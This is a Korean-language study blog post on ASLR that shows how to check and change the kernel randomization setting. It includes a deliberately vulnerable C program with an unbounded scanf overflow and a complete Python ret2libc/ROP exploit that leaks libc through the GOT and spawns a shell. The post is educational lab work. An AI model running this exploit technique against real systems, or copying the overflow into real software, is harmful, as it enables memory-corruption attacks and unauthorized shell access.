ASLR
= Address Space Layout Randomization
= 메모리 손상 취약점 공격을 방지하기 위한 기술; 라이브러리, 힙, 스택 영역 등의 주소를 바이너리가 실행될 때마다 랜덤하게 바꿔 RTL 등 정해진 주소를 이용한 공격을 막는 보호기법이다.
Detecting ASLR
NX bit의 경우 바이너리의 컴파일 옵션에 따라 적용 여부를 결정했지만
ASLR은 서버의 설정파일에 의해 적용 여부가 결정된다.
▷Ubuntu16.04: /proc/sys/kernel/randomize_va_space 파일의 값을 통해 확인할 수 있다.
▶설정 파일의 값
0 | ASLR을 적용하지 않음 (해제) |
1 | 스택, 라이브러리 메모리를 랜덤화 |
2 | 스택, 힙, 라이브러리 메모리를 랜덤화 |
현재 설정되어 있는 ASLR 값 확인
# cat /proc/sys/kernel/randomize_va_space
현재 내 우분투 서버는 ASLR 이 2로 설정되어 있다.!
ASLR 값 변경
# echo 값 > /proc/sys/kernel/randomize_va_space
Example
ex1
//gcc -o ex1 ex1.c -m32
#include <stdio.h>
#include <stdlib.h>
int main(void){
char * buf = (char *)calloc(1, 4096);
FILE * fp = 0;
size_t sz = 0;
fp = fopen("/proc/self/maps", "r");
sz = fread(buf, 1, 4096, fp);
fwrite(buf, 1, sz, stdout);
}
△ 프로세스 자신의 메모리 맵을 읽어 출력해주는 코드
+) "/proc": 프로세스의 정보들이 저장되는 디렉터리
+) "/proc/self": 현재 실행되고 있는 프로세스의 정보가 담겨있는 디렉터리
+) "/proc/self/maps": 현재 실행되고 있는 프로세스의 주소 맵
현재 ASLR이 2로 설정되어 있기 때문에 힙, 라이브러리, 스택 메모리의 주소값이 실행할 때 마다 달라지는 것을 알 수 있다. → 정적 주소를 이용한 공격을 사용할 수 없게 된다.
하지만 바이너리 코드 영역의 주소는 변하지 않는다.
ASLR의 값을 1로 바꾸고 실행해봤다. (# echo 1 > /proc/sys/kernel/randomize_va_space)
위의 경우(ASLR = 2)와 달리 라이브러리와 스택 메모리의 주소 값만 실행될 때 마다 달라지고, 바이너리 코드 영역과 힙 메모리의 주소는 달라지지 않는다.
ex2
//gcc -o ex2 ex2.c -fno-stack-protector -mpreferred-stack-boundary=2 -m32
#include <stdio.h>
int main(void){
char buf[32] = {};
puts("Hello World!");
puts("Hello ASLR!");
scanf("%s", buf);
return 0;
}
32byte의 배열 buf에 데이터를 입력받는다. 이 때 입력 길이의 제한이 없기 때문에 스택 버퍼 오버플로우 취약점이 발생하게 된다.
NX bit도 설정되어 있고
서버에 ASLR 보호기법(2)이 적용되어 있다.
buf 배열의 주소 = ebp - 0x20
ebp 포인터: 스택 프레임의 가장 밑 바닥을 가리킴
= 스택 프레임 포인터 (SFP)
main함수의 리턴 주소 = ebp + 4
main 함수가 리턴한 이후 EIP 레지스터의 값이 0x42424242로 바뀌었다.
▶ ROP 를 이용해 exploit 할 수 있다.
exploit
익스플로잇의 최종목표는 system("/bin/sh")를 실행하는 것이다.
- system 함수와 문자열 "/bin/sh"의 주소를 찾는 것
: 프로그램이 실행될때마다 ASLR이 적용되어 있어 라이브러리 주소가 매번 랜덤하게 매핑된다.
하지만 한 번 매핑된 라이브러리 주소는 프로그램이 종료될 때까지 바뀌지 않는다. → 메모리에 로딩된 라이브러리의 주소를 구해야한다; Leak the Library's Address
PLT 주소는 고정적이기 때문에 바이너리를 디버깅해서 알아낸 plt 주소를 그대로 사용가능하다.
puts@plt = 0x8048320 → 0x8048326 사용
scanf@plt = 0x8048340
scanf@got = 0x804a014
- scanf에서 "%s" 포맷 스트링으로 입력받고, 공백("0x20"), 개행("0x0A") 등의 단어를 구분하는 문자를 입력하면 입력을 종료하게 한다. 따라서 puts의 PLT를 호출할 때 puts@plt+6을 호출해도 puts@plt를 호출할 때와 같은 결과를 가져오므로 puts@plt+6인 0x8048326 주소를 사용한다. (<= 자세한 내용은 PLT, GOT에서...)
import struct
import subprocess
import os
import pty
import time
def readline(fd):
res = ''
try:
while True:
ch = os.read(fd, 1)
res += ch
if ch == '\n':
return res
except:
raise
def read(fd, n):
return os.read(fd, n)
def writeline(proc, data):
try:
proc.stdin.write(data + '\n')
except:
raise
def p32(val):
return struct.pack("<I", val)
def u32(data):
return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty() # to ignore buffer
s = subprocess.Popen("./ex2", stdin=subprocess.PIPE, stdout=out_w)
'''
0x804851a <__libc_csu_init+90>: pop %edi
0x804851b <__libc_csu_init+91>: pop %ebp
0x804851c <__libc_csu_init+92>: ret
'''
pop_pop_ret = 0x804851a
pop_ret = pop_pop_ret + 1
scanf_plt = 0x8048340
puts_plt = 0x8048320
puts_got = 0x804a00c
string_fmt = 0x8048559 # "%s"
scanf_got = 0x804a014
print `readline(out_r)` # Hello World!\n
print `readline(out_r)` # Hello ASLR!\n
payload = "A"*36 # buf padding
payload += p32(puts_plt + 6) # ret addr (puts@plt + 6)
payload += p32(pop_ret) # ret after puts
payload += p32(scanf_got) # scanf@got
payload += p32(scanf_plt)
payload += p32(pop_pop_ret)
payload += p32(string_fmt)
payload += p32(scanf_got)
payload += p32(scanf_plt)
payload += p32(0xdeadbeef)
payload += p32(scanf_got+4)
print `payload`
writeline(s, payload)
libc = u32(readline(out_r)[:4]) - 0x5c0c0
system = libc + 0x3ada0
print "libc @ " + hex(libc)
print "system @ " + hex(system)
writeline(s, p32(system)+"/bin/sh\x00")
print "[+] get shell"
while True:
cmd = raw_input("$ ")
writeline(s, cmd)
time.sleep(0.2)
print read(out_r, 1024)
PLT, GOT 영역에 대한 내용 ▷▷ doongdangdoongdangdong.tistory.com/117
[참고사이트]
'System > System Hacking' 카테고리의 다른 글
FSB (Format String Bug) (0) | 2021.02.10 |
---|---|
[Protection Tech.] Canaries(카나리), SSP (0) | 2021.01.27 |
PLT, GOT (0) | 2021.01.14 |
[Protection Tech.] NX bit (2) | 2021.01.03 |
[Heap] Memory Leak (0) | 2020.11.16 |